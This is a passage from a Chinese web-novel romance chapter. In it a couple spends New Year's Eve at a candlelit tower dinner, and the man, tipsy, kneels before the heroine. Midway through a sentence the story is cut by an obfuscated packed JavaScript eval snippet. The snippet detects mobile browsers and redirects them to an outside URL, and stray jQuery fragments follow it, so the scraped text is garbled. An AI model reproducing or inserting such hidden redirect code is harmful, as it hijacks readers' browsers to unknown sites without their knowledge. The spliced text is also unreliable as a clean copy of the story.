“跨年?不是回家?”言今槿看着车不是往小区的位置开。现在是十一点,离跨年还有一个小时。
“今天的日子你打算在家过?言今槿小姐,你有浪漫细胞吗?”
言今槿忍着笑,“闻钦邶先生,难道你有?”
言今槿嗅了嗅车里的味道,发现这人今天在车里放了香薰。浅浅柠檬味。
“放了什么?”
“阿嚏——”鼻子耸动,直接一个喷嚏打出来。言今槿揉了揉鼻子,伸手扶眼镜。
“柠檬。”
闻钦邶把车中间的空间按开,这人是真放了几个柠檬。
“你是不是脑子有问题。”言今槿伸手指着脑子,对闻钦邶投来关心的眼神。拿起一个柠檬,凑近了柠檬香更重。
有点馋。
“我脑子确实有点问题。”
“说说。”言今槿把柠檬在手里抛起,耀眼黄色就在手里跳跃。明显注意力已经不在闻钦邶身上。
“不然怎么会喜欢你。”
砰的一声,柠檬落在怀里。
言今槿转头看向闻钦邶。他倒是没什么变化,这句话就像是随口一说。双手握着方向盘,车速平稳,看向前方。就是嘴角弧度轻微扬起。
“怎么不说了?”闻钦邶看了眼沉默下来的言今槿。
那柠檬被言今槿抓在手里。把言今槿双手的白透出来,十指修长,把整个柠檬完全握住。
闻钦邶开始慢慢加速。
在那双手里的不该是柠檬。
“你想听什么?”言今槿把大衣帽子戴上,再次做起鸵鸟。
“你说些好听的,我想听。”
“我不会说好听的。”言今槿直接缩在大衣里面,声音被下意识放轻。
“唉——”闻钦邶故意把叹气声拖很长,很幼稚。
那颗柠檬在言今槿手里,在两只手中反复传。车里突然地沉默让她的动作声变大,言今槿动作变快。眼神乱飘,看到车上放音乐的地方,直接伸手放歌。
熟悉音乐声响起,言今槿愣住。
是订婚宴上的曲子。
闻钦邶双手紧握,余光观察言今槿的表情。其实他很久没在车上听歌,主要回国之后每次都是去找言今槿,他哪有心思再听歌,也就忘记换了。
音乐声起,让车里的气氛变缓。这首曲子很好听,一种通往幸福终点的治愈感。
言今槿放松下来,闭上眼睛仔细感受。渐渐被这曲子把记忆带回订婚宴。
突然音乐声停止。
言今槿睁开眼睛看向闻钦邶。他冷冷看过来,或者说这冷酷眼神下是浓浓哀怨。在言今槿看过来的时候还要故作不在意般。
一脸怨夫样。
“好听,听完呀。”言今槿轻松把音乐继续放。音乐声响起之后,言今槿再次闭上眼睛感受。
“我要听完。”
闻钦邶手刚伸出来,言今槿就像是开了天眼一样出声。闻钦邶只能把手收回。
在之前闻钦邶都没发现这曲子这么长。
竟然有三分钟!
很好听的曲子,过往关于闻修其的那些事情都变得很轻。时间能抚平一切,随着这安宁曲调随风而去。
言今槿睁开眼睛,侧边闻钦邶刚好转头。
“偷看?”言今槿忽然很想逗逗他。
“好听吗?”
“挺好听的。”因为是单曲循环,这时候音乐声又响起来,言今槿还没动作,闻钦邶直接关掉。手上动作很重,言今槿看着都有些担心他的手。
“到了。”
车子开进停车场。
言今槿看着这独层停车场,猜到又是闻家的产业。
两人下车已经有专门等着的人员把他们往上领。周围的灯光带着氛围,缓缓闪烁彩光,远处还有巨型彩柱。这种迷幻灯光是专门设计过,眼花缭乱吸引视线。
“这是干什么的?”
等言今槿出电梯才发现是一座高塔。两人出了第一层电梯又上了第二个电梯,慢慢往上升。宛城夜景在这个角度看去很漂亮。
“害怕就告诉我。”
闻钦邶倚靠在一边,看向言今槿。说完还把手臂往她那边示意。
“我不恐高。”
这高塔是闻家建的,这时候因为跨年,每一层都有不同项目供跨年的人员选择。最顶层被闻钦邶留下来。
“闻总,到了。”
最高层像是一个小房间,温馨布置能够尽赏夜景。
“吃什么?”言今槿在新品会上没吃什么,到了这里第一时间往餐桌上走。
“又是大补?”
言今槿指着摆在中间的乌鸡汤。这道菜在感冒那段时间,言今槿几乎餐餐都能见到。没想到到了这高塔上面还能见到。
“还有别的。”
“帮我把这个柠檬切了。”言今槿从口袋里把柠檬丢给闻钦邶。
桌上摆着烛光,红酒就在一边。氛围布置满分,言今槿嘴角笑容溢出。闻钦邶却看不出那是感动的样子。至少从刚刚把柠檬丢过来的力度,就知道不是感动。
那哪是丢柠檬,更像是丢石头。
明天把余庭绗抓出来打一顿。亏他还说一定有用。
“好看吗?”
言今槿手上动作没停,对于闻钦邶的问话完全不在意。包被随意放下,这里温度很高,大衣再穿下去就要冒汗了。她低着头开始解扣子。
“你是问这些蜡烛吗?”言今槿头都不抬。
闻钦邶脱掉西装外套,坐下后看着言今槿解掉扣子。修长手指在那些扣子上经过很漂亮,他控制不住自己的目光。
言今槿的手很好看。
“看什么?饿了?”言今槿把大衣脱下,里面的礼服露出来,只是发型与妆容都没那么精致了。这种随性让言今槿变得慵懒,烛光之下诱惑丛生。
闻钦邶还是看着言今槿,眼神落在那优美肩颈上。
喉结滚动,暗哑出声:“饿。”
落在身上的视线过于直白,言今槿把长发往后拨。把桌上的红酒提到闻钦邶面前。
“饿了等一下把这鸡汤喝了。”
随着言今槿靠近,闻钦邶能闻到之前被大衣包裹住的浅香。顺着她的动作散在身边。
刚刚言今槿让切的柠檬已经拿上来,服务人员退下。只剩他们两人。
红酒倒在杯子里。
言今槿抬手撑着脸颊,看向对面的闻钦邶。“我不喝酒了,新品会上已经喝了一些,再喝会难受。”
“那你喝鸡汤。”
闻钦邶说完已经开始给言今槿盛鸡汤。这桌上摆的东西说是烛光晚餐,但又有一些无法忽视的大补之物。很有营养就是没有氛围。
现在闻钦邶拢起袖子正在盛鸡汤。
画面很割裂。
言今槿嘴角笑容完全挡不住。闻钦邶本身的冷狷气质也随着笑容消失,鸡汤味道散开,和红酒的香醇融合。
“喝。”
鸡汤进肚,整个胃里瞬间暖起来。言今槿一尝就尝出来这是王姨做的,王姨做的菜很合胃口,外面是做不出这种味道。
“好喝。”
双眼弯成月牙,脸上表情变得柔软,像是晒太阳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394152|197020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的小猫露出肚皮。闻钦邶喜欢言今槿脸上出现这样的表情。
专门开的红酒进到嘴里,闻钦邶抬起酒杯摇晃。
远处的言今槿似乎也在杯子里晃动,随着他的动作散出香味。最后被一饮而下。
“你的眼神很奇怪。”
言今槿喝了一半,肚子已经饱了。人开始犯懒,看着对面闻钦邶在晃动红酒。
看得出闻钦邶应该是经常喝红酒。
桌上的那款红酒言今槿认得出,这个牌子不对外售卖,几乎只是私人款。闻钦邶能有说明他本身就是喜欢红酒,才会找这种私人款。
玫瑰利诺。
颜色是玫瑰红,入口时先是冷刺感,之后漫上来的就是玫瑰醇香。简单的三道回味能够给到品尝者最极致的享受。
“我以为今天能一起尝这瓶红酒,有点可惜。”
“我不喜欢喝酒。”
远处有烟花亮起,隔着一点距离看不太清。这时候还没到跨年时间点,烟花还比较少。
言今槿转头看向烟花的方向。
烛光亮起,红酒味道充满房间,远处的烟花也在热烈绽放,一切都美好的像电影画面。这种时刻让言今槿脑子停顿。
下意识把自己脱离开来,变成第三视角审视一切。
“好看吗?”
闻钦邶发现言今槿走神,开口把人拉回来。
“好看呀。这种转瞬即逝的东西都很好看。”
“你喜欢我可以让烟花一直存在。”闻钦邶一句话直接把悲伤浪漫的话打破。
“哈哈哈哈——”言今槿笑出声,身子重重往后仰,刚刚往后拨的长发随着动作落在身前,像是一件纱衣。
瓷白肌肤就在黑发间随着动作若隐若现。烛光下像是摄人心魄的妖怪。笑声是诱惑人放下戒心的诱饵,只待你走到她身边,心脏就会被挖出来吃掉。
闻钦邶脑子里的画面过于血腥。
端起红酒,一口饮下。脑海里的画面随着红酒一起消失。
“言今槿,你喜欢什么?”
“我喜欢很多,很多……”言今槿双手比划着,划了个大大的圆。
“那你喜欢我吗?”闻钦邶被言今槿动作带动着,也把双手伸起,转了一大圈后指着自己。手腕上的玉镯落下,玉墨色在布满青筋的手臂上像是盘桓着的蛇。
“不知道。”
言今槿摇头。尾音带出笑意。明明只是闻钦邶喝了酒,两人的对话却都像醉话。又倒了一杯,闻钦邶起身,直接把酒瓶拿在手里走向言今槿。
双手撑在言今槿桌前,“那你什么时候才知道。”
玫瑰酒香从闻钦邶身上传来。但他的神色看不出喝醉,就是眼尾泛着一点红,落在白布桌上的指尖泛着嫣红。这种种小细节让言今槿能窥见一点闻钦邶酒醉的痕迹。
“闻钦邶,你喝醉了。”
“没有。”手上酒瓶放下,闻钦邶蹲下。跪倒在言今槿面前。
双膝跪地让言今槿俯视他。这种跪地方式会把他全身肌肉绷紧,紧实胸肌与藏在西裤下的大腿肌,一切都蕴含着力量。
黑色包裹着玫瑰酒香的荷尔蒙。
言今槿把眼神从上面收回,落在闻钦邶脸上。
“你跪着干什么?”笑意从话里溢出,言今槿看着明显变得迷糊的闻钦邶,很想做点什么。
外面的烟花陆续升空,烛光打在闻钦邶脸上,本身他的五官就带着攻击性。但他跪着,乖乖抬头看向言今槿,因为醉酒眼里洇着水意。
似乎一切都在怂恿言今槿动手。
做点什么。